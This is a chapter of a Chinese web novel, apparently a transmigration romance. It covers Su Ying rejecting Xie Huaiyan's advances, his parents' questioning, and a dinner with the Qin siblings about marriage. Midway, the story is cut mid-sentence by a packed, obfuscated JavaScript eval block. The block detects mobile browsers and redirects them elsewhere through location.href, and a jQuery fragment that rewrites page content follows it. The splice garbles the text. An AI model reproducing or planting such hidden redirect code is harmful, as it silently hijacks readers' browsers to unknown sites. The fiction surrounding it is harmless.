苏潆很少睡不着觉,但在与谢怀延熟识后,她常常失眠,抑或是被梦魇着半夜惊醒。
谢怀延果真“可怕”。
昨夜谢怀延含着不知几分醉意,竟做出那般那她羞愧难当的事来。这要放在这个朝代的女子身上,不嫁给他,也至少要与他相通心意。
还好自己是穿越来的,就算这具身子做出了应有的反应——有女子该有的赧然羞怯,但心里是不当回事儿的。
亲就亲了,他喝醉酒来着,自己还能与他讨要清白不成?
她害怕自己被谢怀延以“一吻”拴住了心,自是不愿提一句。
谁知第二日,绍六便递了信笺来。
“俨如见之,金昭玉粹。艳艳人醉,留欢自惬。”
这不是什么表白信,而是坦荡荡的靡靡之词。
苏潆有些佩服这位谢二公子,怎么能把耍流氓做到如此高深的境界?难怪周围人没能看出他骨子里的流氓特质来。
苏潆对绍六道:“绍六哥稍等,我有一句话想要回给公子。”
绍六一听要回信,那唇角都快翘到天上去了。
难道公子的单相思要结束了?
苏潆大笔一挥送了谢怀延一句话,让绍六带了回去。
绍六美滋滋地拿了信笺放在书案上时,宿醉尚未完全清醒的谢二公子,在得知苏潆回信后如沐春风,拆开信笺不过堪堪读了几个字,面色便难看得像是黑云压境。
他深吸一口气,看向绍六:“这真是苏姑娘回的?”
绍六正独自个儿乐着,忽听公子语气不对,一时也摸不清是发生了什么,愣怔道:“奴看清了,是苏姑娘亲自回的。”
谢怀延立时起身想要杀去苏潆的小院儿,却听外面荆安喊了一句:“二夫人。”
他忙将信笺藏在书里,迎了出去:“母亲。”抬头时已然愣住,父亲居然也来了。
二夫人淡淡“嗯”了一声,两人自去坐在了他的椅子上。
二夫人面色不好,谢宏云也敛了笑意,满面严肃,只眼神飘忽不定,时不时给他暗示身旁之人。
谢怀延心领神会,不说话,只等二夫人开口。
“你昨夜去哪儿了?我处处找不见你人,晚些才听说你喝醉了酒,回屋睡了。”二夫人挑眉抬眼,用眼尾压着谢怀延“坦荡”的眸光,冷笑道:“我竟不知这谢家还有什么地方,能让你二公子有心独酌?”
谢怀延还未开口,谢宏云先抢话道:“夫人哪里的话,孩子大了,平日都窝在房里看书,既不出门访友,也不出门厮混,不知比隔壁房的好上多少,如今只是在家里找处风景好的地方喝喝酒,这有什么?”
“你闭嘴……”二夫人轻飘飘的一句,止住了谢宏云的话:“昨夜若不是你拦着我,不让我跟出去,指不定我就知道他打的什么主意。”
与苏潆前后脚出门,二夫人再不聪明,也能猜到几分。
可自己儿子那般死板无趣的一个书呆子,他会去夜会人家姑娘,还喝得酩酊大醉?她又觉不太可能。
“母亲言重了,只是心中郁结,去酒窖里找了酒来喝,一时忘了时辰。”
“郁结?你怎么了?是谁惹你不快了?还是谁伤你心了?”
二夫人话中意有所指,谢怀延佯装听不懂,顾左右而言他:“春闱在即,心中难免危虑。”
“危虑什么?考的中考不中你都是我儿子,不做官便不做,你切莫学着那些迂腐文人,恨志不遂,积怨成疾。就算终身不第,做个其他营生也能活得好。”
“你母亲说得极是,为父也有一句话要同你讲清。”谢宏云看似在劝谢怀延,实则话里有话,劝着自家夫人:“做,则勿惮悔,我们为人父母的只求你心觉怡悦便可,做自己喜欢做的事,娶自己心爱的人,这一世都乐呵呵的就行。”
二夫人颇为不解地看他一眼:怎么扯到娶妻上去了?这是一回事儿么?
但好像……也是那么回事儿。
二夫人如今怎么看,都觉自己儿子与苏潆之间有些牵扯,可明面上又抓不到丝毫。
她不就是来问他,到底有没有……
可话到嘴边,又问不出来了。听了他的心中“郁结”后,转念心疼上了,真真是从她肚子里蹦出来的,念着他能搏一个前程出来,却怕他陷进功利之心,抑或仕途不顺,屡试不第,毁了心性。
到底,还是听了他父亲那句,只要孩子高兴,就由着他吧。
二夫人叫来了绍六,道:“公子这里要伺候好了,有什么不够的,需要添置的,尽管来我屋里拿。”
“是。”绍六躬身回道。
谢宏云见二夫人终于有了笑脸,也应和道:“书不必天天读,日日看,得空出去走走,疏解疏解。”
谢怀延淡淡笑着,应了一声。
两人走后,谢怀延唇边的笑容便淡没了。回头望过躺在书册里的信笺,他的心似被苏潆给了重重一击,久久不能舒畅。
只愿安闲,偏安一隅。承蒙厚爱,无以为报。愿君为友,各自为好。
有些话,他才刚开口便被无情截断。
有些火,才刚腾燃起便被无情掐断。
好狠的姑娘。
她怕其他人察觉两人关系,自己无论如何都要隐瞒。
她遇危险,自己挺身而出,不顾任何将生死都置之度外。
可她有一丝一毫的动容么?
没有!
自己的一片真心,她弃如敝屣。自己的隐忍妥协,换来她怯步移身。
哪有这样的人!
哪有这样的事?
谢怀延连带着那本书,一同掷入炭盆中,恨不得一丝灰都不见,才算平息。
良久之后,谢怀延闭眸嚼齿:苏潆,你很好……
那日之后,苏潆想着自己已把该说的话说清楚了,谢怀延不会再来找她。
果真,他安安静静待在小院儿里看书,绍六也不往这里来了。三公子依旧时常出现在她院子附近的小道上,苏潆理都不理。
久而久之,两边都清静了不少。
初六这日,苏潆挑了礼,带着杪冬去了秦香斋。
今日是秦云燕开门的日子,人不多,但来买的人却很是大手笔。想来是给家里的人吃,比平日买得多些,不过申时便已售尽。
秦云燕让店里的人守着,自己将苏潆迎进了屋里。
“今晚说什么都要在我这里吃饭!”秦云燕裹上作裙,一头扎进了灶房,秦云凌已经在里面忙着,见了苏潆过来,与她颔首打了招呼,接着做菜。
“你是不知,过年就我们二人,可没意思了。好不容易盼着你来了,可要多待些时候再走。”
苏潆答了一句“好”,便让杪冬去淘洗菜蔬,自己也裹了作裙加入两人的“战场”。
秦云燕擅长炖菜,秦云凌喜做面食。苏潆看了一眼灶房里的肉,依着记忆里的做法,烹了一道红烧肉。
待三人的菜都上桌后,苏潆叫了杪冬一起来坐,四人围在一起边吃边说话。
秦云燕忽然问她:“你几月及笄来着?”
“七月初七。”
“是个好日子。”秦云燕笑着打趣她:“及笄后可要相看人家了?要不要姐姐我……”
秦云凌的手一顿,蹙眉打断:“苏姑娘的亲事,怕是轮不着姐姐操心。”
秦云燕一听这话便不高兴了:“我为何不能操心?谢家那些人能有什么好心?不过就是把妹妹随便找个人打发了。谢家若是对妹妹好,妹妹便不会活得如此小心,还给住那么破的小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100084|190884||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
院儿里。”
提起此事秦云燕便生气。
原本以为苏潆在谢家也算活得比他们好。寿宴时进去一遭才知什么叫“寄人篱下”。给个偏僻的小破院儿就给人打发了。穿的不如人,吃的也不如人,偏还要找婢子来挑事,谁看不清谢家这些人想赶苏潆出去?想来只有那老夫人护着,苏潆才得住谢家。
都这般糟践人了,还不急着自己找人相看,难不成真让谢家人将她随便打发了?
苏潆这般的容貌性子,只因摊上一个不成器的父亲罢了,又不是破落门户,凭什么如此糟践人?
苏潆颇为动容,对秦云燕一笑:“谢家对我还算好,只不过我的婚事,我也想自己做主,姐姐帮着相看也是好的,我不常出门,对邺阳城里的各家各户知晓不清,还得姐姐帮忙。”
揽上这事秦云燕可算来了兴致。她多年金兰姐妹便是做媒人这个行当的,先不说赚不赚钱,促成姻缘本就是让人高兴的事。
“就是不知妹妹喜欢什么样的?”
苏潆想了想,道:“我不看重家世,只要人好就成。”
这么简单的条件?
秦云燕看了一眼身边低头扒饭的傻小子,恨不得给他一下。使了个眼神过去,将秦云凌看得食不下咽,只得停了筷。
“我还以为妹妹想找个家资丰腴些的。”
“钱我自己就能赚,我看重的是人品。”人品好,才能与她和离。
当然,这不能说与秦云燕听。
“那长相呢?”
“端正即可。”不是过一辈子的人,只要不太丑都成。
“性子呢?”
“仁善。”
“才能呢?”秦云燕看了一眼静静抿茶的秦云凌。
“不必有何才能。”
秦云燕:“……”
这是找夫君么……
怎么一点要求都没有?
“苏姑娘不像是要找夫君,反倒像是找个搭伙过日子的人。”秦云凌突然开口。
他缓缓放下手中的茶盏,眸色压得深沉。
苏潆不解:“成婚不就是搭伙过日子么?”
“同心携手,相濡以沫,夫妻以彼此真心筑巢方可抵御万难。若离心离德,不如孑然一身活得畅快自由。”
苏潆的双眼微微睁大,有些惊讶于他这一番话。看来秦云凌还是个对婚姻充满希冀的小年轻。
以她上辈子加这辈子的阅历来看,还是单着最好,若不是要用婚姻出了谢家,与苏家划清界限,她根本不会找个男人将就。
“苏姑娘说得也没错,成婚了不就是在一起过日子。”年过而立的秦云燕对于婚姻也是如此消极态度,故而才一直拒了金兰姐妹的说媒。
成婚也可,不成婚也罢,横竖不过是找个人过日子,情不情爱不爱的哪有那么重要。
三人一时默了好半晌,忽听吃得开心的杪冬说了一句:“怎么都成,只要自个儿开心就行。”
苏潆笑了起来,捏了捏她的面颊道:“还是你呀,最通透。”
吃过饭后,杪冬与秦云燕去灶房洗碗。苏潆一个人在院子里为秦云燕种下的花浇水,不知何时身后站了个人。
“苏姑娘难道……没有心仪之人么?”
秦云凌离她三四步的距离,站在花架下,头上是郎朗明月,身上余有皎光,显得身形宽阔的秦云凌气轩眉宇,有种……
既冷酷又秀逸的温润感。
不似谢二公子隽秀却冷锐的复杂感,秦云凌则更加简单干净。
可分明一个习文,一个崇武。
“情爱于我来说,不重要……”苏潆语调淡淡,却似撒了秦云凌一身湿冷的寒气,让人近不得一分。
“我自有我的事要做。”苏潆道。